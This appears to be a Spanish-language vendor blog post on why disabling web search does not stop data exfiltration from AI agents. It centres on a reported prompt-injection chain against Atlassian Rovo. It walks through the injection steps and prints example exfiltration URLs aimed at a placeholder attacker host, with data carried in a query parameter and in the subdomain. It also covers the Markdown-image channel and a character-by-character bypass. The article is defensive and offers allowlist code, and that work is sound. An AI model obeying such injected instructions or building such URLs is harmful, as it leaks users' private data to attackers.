Respuesta rápida: Desactivar la búsqueda web no detiene las filtraciones de datos en agentes de IA porque esa opción solo oculta una función, no la herramienta que opera por debajo. Si el agente aún puede abrir una URL, renderizar una imagen o llamar a un conector, una instrucción inyectada puede empaquetar tus datos dentro de una petición. La solución es determinista: el agente solo debe poder consultar aquellas URL que una persona haya escrito o que una herramienta de confianza haya devuelto.
La mayoría de los equipos consideran que el interruptor de búsqueda web es el botón de apagado para los riesgos de salida. No lo es. En agosto de 2026, PromptArmor demostró un ataque contra Atlassian Rovo que funcionaba incluso con la búsqueda web deshabilitada en toda la organización, y el motivo es extrapolable a cualquier agente que desarrolles o compres.
A continuación: los canales de filtración, por qué fallan los parches habituales y la regla que realmente funciona. En Sharkly desarrollamos un espacio de trabajo donde los agentes de programación asumen tareas desde un tablero compartido, por lo que nos enfrentamos a las mismas preguntas. La inyección de instrucciones (prompt injection) sigue sin resolverse en todas partes, incluidos los agentes de código que ejecuta Sharkly.
Qué controla el interruptor de búsqueda web y qué no
El interruptor de búsqueda web determina si el agente puede invocar un motor de búsqueda. No dice nada sobre la herramienta independiente encargada de abrir una URL y leer su respuesta. Si esa herramienta de recuperación (fetch) permanece activa, el agente todavía puede enviar peticiones a cualquier servidor de internet, y cada petición transporta datos en su propia dirección.
La búsqueda devuelve una lista de enlaces. La recuperación toma un enlace y realiza una petición HTTP. Los datos salen de tu entorno corporativo (tenant) durante la recuperación.
Esa brecha resume por completo el hallazgo en Rovo. El informe de PromptArmor señala que la configuración de búsqueda web «no elimina la herramienta para abrir los resultados de búsqueda». El administrador de la organización desactivó la búsqueda, pero la herramienta de fetch siguió habilitada.
Cómo construye un agente una URL de exfiltración
La inyección indirecta de instrucciones consiste en que un atacante oculta directivas dentro de contenido que el agente leerá más adelante: un archivo, un ticket o una página web. El modelo no puede distinguir de forma fiable entre la petición del usuario y el texto que fue encontrando por el camino. La cadena de ataque en Rovo, según la describe PromptArmor, consta de cinco pasos:
- La víctima sube un archivo (una «Guía del backlog») que contiene una instrucción oculta.
- Más tarde, la víctima le pide a Rovo que organice sus tickets de Jira.
- Rovo busca en Jira y Confluence y, como parte del trabajo, lee el archivo infectado.
- La inyección le ordena a Rovo concatenar el contenido de los tickets y de Confluence a una URL del atacante y abrirla mediante la herramienta de recuperación de URL.
- El servidor del atacante registra la petición con los datos incluidos. La víctima solo ve sugerencias normales para sus tickets.
Sin clics y sin avisos de confirmación. Otras fuentes de inyección señaladas por PromptArmor: tickets de soporte, resultados web cuando la búsqueda está activa y conectores de terceros.
El detalle clave reside en el paso 4. PromptArmor reporta que «no existen protecciones contra la apertura de una URL que el agente haya creado de forma dinámica». Dado que el agente compuso la dirección por su cuenta, esta puede contener cualquier cosa que haya leído previamente.
¿Qué aspecto tiene una URL de exfiltración?
Esta es su estructura, utilizando un dominio de ejemplo:
https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri
El atacante lee el parámetro d= en su registro de acceso. El agente realizó una única petición GET, que es precisamente para lo que existe la herramienta de recuperación.
Por qué eliminar las cadenas de consulta no sirve: filtraciones por subdominio y DNS
Filtrar la parte posterior al signo ? en una URL es el primer parche al que recurre la mayoría. No funciona. En el hilo de Hacker News (306 puntos, 138 comentarios), Simon Willison señaló que, mediante DNS comodín (wildcard DNS), los datos pueden viajar directamente en el nombre de host:
https://cHJvZCBkYiBjcmVkcw.attacker.example/
El servidor DNS del atacante responde a cualquier subdominio y registra cada resolución. Los datos salen durante la resolución de nombres, antes siquiera de que se complete cualquier petición HTTP. Otro participante añadió que los datos pueden ocultarse en cualquier componente de la URL, incluido el campo de credenciales.
Por lo tanto, la regla no puede ser «limpiar la URL». En palabras de Willison, el problema radica en «no ser capaz de impedir por completo la construcción dinámica de una URL».
El canal de las imágenes en Markdown
Algunos agentes no necesitan una herramienta de fetch para filtrar datos. Si la interfaz de chat renderiza imágenes en Markdown procedentes de dominios externos, el modelo puede insertar esto en su respuesta:
El navegador del usuario carga la imagen y envía la petición sin que nadie haga clic en nada. PromptArmor destaca que Rovo renderiza imágenes de Markdown en las respuestas de la IA y lo clasifica como un vector de exfiltración conocido, aunque su informe no detalla una cadena de ataque específica para Rovo mediante esta vía.
Este canal opera en la capa de renderizado, por lo que ninguna configuración de las herramientas del agente puede mitigarlo.
Por qué permitir «solo URL preindexadas» sigue filtrando datos, carácter por carácter
Una posible mitigación consiste en autorizar que el agente solo abra una URL si un rastreador de búsqueda ya la ha indexado con anterioridad. Un atacante no puede indexar una URL que contenga tu información confidencial, ya que ese secreto no existía públicamente antes.
Johann Rehberger (wunderwuzzi23 en Hacker News) explicó cómo eludir esta medida. Imaginemos a un atacante que publica previamente una página por cada carácter, desde /a hasta /z, y logra que se indexen. La inyección le ordena entonces al agente que visite la página correspondiente a cada carácter del secreto, uno tras otro. El atacante reconstruye la información leyendo la secuencia de peticiones en sus registros.
Es un método lento y ruidoso, pero funciona. La conclusión de Rehberger es clara: cada medida hace que los ataques sean más costosos, no imposibles. No obstante, señaló que las listas de dominios permitidos sí resultan efectivas para agentes con un propósito específico, ya que bloquean por completo los endpoints bajo el control del atacante.
La regla determinista: consultar únicamente URL proporcionadas por personas o herramientas de confianza
La solución definitiva no pasa por pedirle al modelo que sea más prudente. Consiste en arrebatarle al agente la capacidad de decidir el destino:
- Permitido: una URL que el usuario haya escrito en la conversación.
- Permitido: una URL que una herramienta de confianza haya devuelto de forma literal (por ejemplo, el resultado de una búsqueda).
- Bloqueado: cualquier URL que el modelo haya armado, editado o ampliado.
Esto se implementa mediante código externo al modelo. Basta con mantener un conjunto de URL que hayan entrado en la conversación a través de fuentes de confianza y rechazar cualquier petición cuya cadena exacta no forme parte de dicho conjunto:
allowed_urls: set[str] = set()
def on_user_message(text: str) -> None:
allowed_urls.update(extract_urls(text))
def on_search_results(results: list[dict]) -> None:
allowed_urls.update(r["url"] for r in results)
def fetch(url: str) -> str:
if url not in allowed_urls:
raise PermissionError(f"blocked agent-built URL: {url[:60]}")
return http_get(url)
Hay dos limitaciones. Esta comprobación no cubre el canal de imágenes, por lo que sigue siendo necesario bloquear imágenes externas en el contenido renderizado. Tampoco neutraliza la técnica carácter por carácter si una herramienta de confianza puede devolver listas controladas por el atacante; de ahí que sea fundamental añadir una lista de dominios permitidos en agentes con tareas acotadas.
Esto no es más que la aplicación práctica de la triada letal (lethal trifecta) de Willison: datos privados, contenido no confiable y un canal de salida. En un agente funcional no se pueden eliminar los dos primeros factores, pero sí se puede hacer que el tercero sea determinista. Por esta misma razón, OWASP clasifica la inyección de instrucciones como LLM01: ninguna solución aplicada exclusivamente dentro del modelo es completa.
Lista de verificación para quienes desarrollen o adopten agentes
Hazte estas preguntas sobre cualquier agente que tenga acceso a datos confidenciales:
- Enumera todas las herramientas que puedan emitir peticiones de red: fetch, navegador, conectores, webhooks, correo electrónico.
- ¿Cada interruptor de configuración desactiva la herramienta por completo, o solo oculta una función que la utiliza?
- ¿El agente puede abrir una URL construida por él mismo?
- ¿Se renderizan imágenes externas en Markdown dentro de las respuestas?
- ¿Existe una lista de dominios permitidos y quién la gestiona?
- ¿Qué fuentes pueden inyectar instrucciones: archivos adjuntos, tickets, resultados web, conectores?
- ¿Cómo gestionó el proveedor su último informe externo de seguridad y con qué rapidez actuó?
En el caso de Rovo, el cronograma público responde a la pregunta 7: PromptArmor reportó la vulnerabilidad el 23 de mayo de 2026, Atlassian confirmó su recepción el 25 de mayo, los seguimientos del 4 de junio y 29 de julio quedaron sin respuesta, y el informe se publicó el 5 de agosto mientras Rovo continuaba vulnerable. [VERIFICAR 2026-10-27: no se encontró ninguna corrección ni comunicado oficial de Atlassian respecto a esta vía; volver a comprobar antes de publicar.]
Ten en cuenta que Rovo Dev, el agente de programación de Atlassian, es un producto independiente del asistente Rovo analizado en este reporte; nuestro artículo sobre el plan gratuito de Rovo Dev profundiza en sus detalles.
Cómo se aplica esto a los agentes de programación en Sharkly
Los agentes de programación leen texto no confiable continuamente: descripciones de issues, archivos README, páginas web descargadas. Sharkly no hace que Claude Code o Codex sean inmunes a este problema.
Lo que Sharkly modifica es la propiedad del perímetro de salida. Los agentes se ejecutan en tus propios Computers a través de un servicio local. La documentación de Computers indica que el Computer «proporciona el sistema operativo, los archivos, las credenciales, el acceso a la red y las herramientas que requiere un Agent». Si colocas un Computer tras una lista de salida permitida (egress allowlist), cada ejecución heredará esa restricción sin importar qué agente opere en él.
Otras delimitaciones destacadas en la documentación:
- Los invitados únicamente tienen acceso a los Spaces a los que han sido agregados.
- Cualquier acción en aplicaciones de terceros exige un conector autorizado.
- La documentación de Skills aconseja no almacenar contraseñas, tokens ni claves en las instrucciones o archivos de las Skills, evitando así que un agente vulnerado pueda extraerlos de allí.
Nada de esto evita que un agente haga un uso indebido de los accesos de los que ya dispone. Nuestras publicaciones sobre permisos en agentes de código, puertas de aprobación y barreras contra inyecciones de instrucciones abordan dónde conviene trazar esos límites.
Conclusión
El interruptor de búsqueda web es una opción de producto, no un control de seguridad. La información se filtra a través de cualquier elemento capaz de enviar una petición: una herramienta de fetch, una resolución de nombres de dominio o una etiqueta de imagen. Cierra esas vías mediante código, fuera del modelo.
Tu siguiente paso: evalúa esta semana uno de los agentes que utiliza tu equipo con la lista de siete preguntas, empezando por la número 3. Si ejecutas agentes de programación en varios Computers, configura Sharkly y coloca cada uno de ellos bajo las reglas de salida en las que ya confías.
Preguntas frecuentes
¿Desactivar la búsqueda web detiene la inyección de instrucciones?
No. La inyección de instrucciones puede provenir de cualquier contenido que el agente procese, incluidos archivos subidos, tickets y datos provenientes de conectores. Apagar la búsqueda elimina únicamente una de las fuentes de contenido no confiable, pero el ataque aún puede ingresar por otras vías y filtrarse a través de la herramienta de fetch.
¿Qué es la exfiltración de datos basada en URL?
Ocurre cuando un agente incrusta datos confidenciales dentro de una URL y solicita dicha dirección. El servidor del atacante registra la petición y extrae la información. No requiere malware de ningún tipo; basta con un agente que tenga la capacidad de armar y consultar URL arbitrarias.
¿Representan las imágenes en Markdown un riesgo de seguridad en los chats de IA?
Sí, cuando la interfaz carga imágenes alojadas en dominios externos. El navegador solicita automáticamente la URL de la imagen, con lo cual cualquier dato que el modelo haya introducido en ella llegará al atacante sin necesidad de que el usuario haga clic.
¿Es suficiente con una lista de dominios permitidos?
Para un agente especializado que solo necesita interactuar con un puñado de dominios, una lista de permitidos es el control más sólido que existe. En un asistente de propósito general resulta difícil de restringir con precisión, por lo que debe complementarse con la regla de que el agente nunca consulte una URL que haya generado por sí mismo.
¿Ha solucionado Atlassian el problema de exfiltración en Rovo?
A fecha de 27 de octubre de 2026, no encontramos ningún pronunciamiento oficial de Atlassian ni una corrección confirmada para la vía expuesta por PromptArmor. Consulta la página de PromptArmor y los boletines de seguridad de Atlassian para conocer las últimas novedades.
